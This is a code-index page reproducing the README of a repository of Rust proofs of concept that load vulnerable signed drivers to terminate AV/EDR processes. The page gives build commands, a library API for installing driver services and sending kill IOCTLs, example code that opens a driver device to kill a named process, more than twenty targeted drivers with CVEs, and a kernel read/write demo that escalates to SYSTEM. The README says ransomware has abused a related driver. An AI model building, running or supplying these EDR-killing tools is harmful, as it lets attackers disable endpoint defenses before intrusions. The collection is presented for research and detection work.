MCPcopy Index your code
hub / github.com/BlackSnufkin/BYOVD

github.com/BlackSnufkin/BYOVD @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
259 symbols 407 edges 32 files 54 documented · 21%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

cropped-Aug 28, 2025, 03_39_19 PM

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.

The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.


> Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the EDRKillShifter tool, as reported by Sophos & ESET

📚 Table of Contents

🔍 Overview

The BYOVD technique has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's Terminator (sold for $3,000) and the ZeroMemoryEx Blackout project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.

This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.

🏗️ Project Structure

The project is organized as a Rust Cargo workspace. Most PoCs share a common library (byovd-lib) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. K7Terminator, Astra64-RW, and Xhunter1-Killer are standalone — they have their own [workspace] declarations and are built directly from their own directories, not via the root workspace.

BYOVD/
├── Cargo.toml                       # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/                       # Shared library
│   ├── Cargo.toml
│   └── src/
│       ├── lib.rs                   # DriverConfig trait + run() / send_ioctl() / run_monitor()
│       ├── service.rs               # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│       ├── device.rs                # DeviceHandle -- 5 typed IOCTL dispatch shapes
│       ├── handle.rs                # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│       ├── process.rs               # find_pid_by_name / find_all_pids_by_name
│       ├── monitor.rs               # run_monitor_loop (closure-based) + setup_ctrlc_handler
│       ├── privilege.rs             # enable_privilege / ensure_running_as_local_system
│       └── util.rs                  # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/               # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/                      # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/                # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/                # CnCrypt CcProtect
├── GameDriverX64-Killer/            # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/                 # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/             # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/                    # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/                  # Kingsoft ksapi64
├── MonProcessEX-Killer/             # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/                     # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/                # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/                  # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/         # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/                 # ThreatFire sysmon
├── UnknownKiller/                   # unattributed unknown.sys
├── Viragt64-Killer/                 # Tg Soft viragt64
├── Wsftprm-Killer/                  # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/                 # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/                    # JiranJikyosoft X-Keeper xkpsm

Each *-Killer/ directory contains its own Cargo.toml, src/main.rs (the DriverConfig impl + CLI), README.md (driver hashes + usage), and the matching .sys file the binary loads at runtime.

🔧 Building

Prerequisites: Rust toolchain and Visual Studio Build Tools with the Windows SDK.

# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binaries are output to target/release/. Copy the corresponding .sys driver file into the same directory as the executable before running.

📦 byovd-lib

byovd-lib is the shared library that all PoCs (except K7Terminator) are built on. It exposes two complementary APIs -- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.

Module layout

byovd-lib/src/
├── lib.rs        # DriverConfig trait + run() / send_ioctl() / run_monitor()
├── service.rs    # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
├── device.rs     # DeviceHandle -- typed IOCTL dispatch (5 shapes)
├── handle.rs     # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
├── process.rs    # find_pid_by_name / find_all_pids_by_name
├── monitor.rs    # run_monitor_loop (closure-based) + setup_ctrlc_handler
├── privilege.rs  # enable_privilege / ensure_running_as_local_system
└── util.rs       # to_wstring / to_cstring / get_current_dir

High-level API: DriverConfig trait + run()

This is what the bundled killers use. Implement the trait, call byovd_lib::run(), done.

use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() does: preflight_check → install service (SERVICE_DEMAND_START) → StartService → kill-on-sight monitor (Ctrl+C to exit) → stop + delete service.

Optional trait overrides with their defaults:

Method Default Purpose
device_access() SERVICE_ALL_ACCESS CreateFileW access flags
skip_unload() false Skip driver cleanup (e.g. drivers that BSOD on unload)
ignore_ioctl_error() false Treat IOCTL failure as success (e.g. NSecKrnl reports error on success)
ioctl_output_size() 0 Expected output buffer size in bytes
preflight_check() Ok(()) Pre-launch validation (e.g. LocalSystem check)

Low-level API: imperative pieces

When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.

Driver lifecycle -- ByovdDriver:

use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
driver.start()?;                       // ERROR_SERVICE_ALREADY_RUNNING is OK
let device = driver.open_device()?;    // returns DeviceHandle
// ... send IOCTLs ...
driver.stop_and_delete()?;

IOCTL dispatch -- DeviceHandle exposes five typed shapes:

Method Use when
ioctl<I, O>(code, &input, &mut output) Both input and output buffers, separate types
ioctl_inout<T>(code, &mut data) Same buffer for input + output
ioctl_in<I>(code, &input) Input only, no output buffer
ioctl_in_unchecked<I>(code, &input) Input only, ignore failure (per-call alternative to ignore_ioctl_error)
ioctl_raw(code, in_ptr, in_size, out_ptr, out_size) Raw pointer escape hatch

The typed forms remove the manual to_ne_bytes() / extend_from_slice() boilerplate when the IOCTL takes a struct (e.g. { pid: u32, padding: [u8; 20] }).

Process lookup -- find_pid_by_name(name) (first match) and find_all_pids_by_name(name) (all matches, excludes system PIDs ≤ 4).

Custom monitor loop -- run_monitor_loop(name, interval, |pid| ...) takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).

Privileges -- enable_privilege("SeDebugPrivilege") / enable_privilege("SeLoadDriverPrivilege") for drivers that require explicit token privileges. ensure_running_as_local_system() returns an error if the process is not running as S-1-5-18.

Handle wrappers -- WinHandle (auto-CloseHandle) and ScHandle (auto-CloseServiceHandle) are Send + Sync and can be moved across threads.

Example: attach to an already-loaded driver, no service lifecycle

This is what UnknownKiller --attach does -- skip SCM entirely, just open the device and fire the IOCTL once:

use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Back-compat aliases

FileHandle / ServiceHandle still resolve to WinHandle / ScHandle, and get_pid_by_name is kept as an alias for find_pid_by_name, so older code referencing those names keeps compiling.

💡 POCs

Below are the drivers and their respective PoCs available in this repository:

Extension points exported contracts — how you extend this code

DriverConfig (Interface)
Trait that each driver PoC implements to describe its specific configuration. The shared library uses this trait to man [17 …
byovd-lib/src/lib.rs

Core symbols most depended-on inside this repo

run
called by 17
byovd-lib/src/lib.rs
as_raw
called by 16
byovd-lib/src/device.rs
vread_u64
called by 13
Astra64-RW/src/kernel.rs
is_kptr
called by 8
Astra64-RW/src/astra.rs
to_wstring
called by 8
byovd-lib/src/util.rs
vread_u32
called by 6
Astra64-RW/src/kernel.rs
read_phys
called by 5
Astra64-RW/src/astra.rs
read_u64
called by 5
Astra64-RW/src/astra.rs

Shape

Method 148
Function 63
Class 46
Enum 1
Interface 1

Languages

Rust100%

Modules by API surface

Astra64-RW/src/astra.rs14 symbols
STProcessMonitor-Killer/src/main.rs12 symbols
K7Terminator/src/main.rs12 symbols
Astra64-RW/src/kernel.rs12 symbols
byovd-lib/src/device.rs11 symbols
Viragt64-Killer/src/main.rs10 symbols
PCTcore64-Killer/src/main.rs10 symbols
GameDriverX64-Killer/src/main.rs10 symbols
byovd-lib/src/lib.rs9 symbols
Xkpsm-Killer/src/main.rs9 symbols
Xhunter1-Killer/src/main.rs9 symbols
Wsftprm-Killer/src/main.rs9 symbols

For agents

$ claude mcp add BYOVD \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact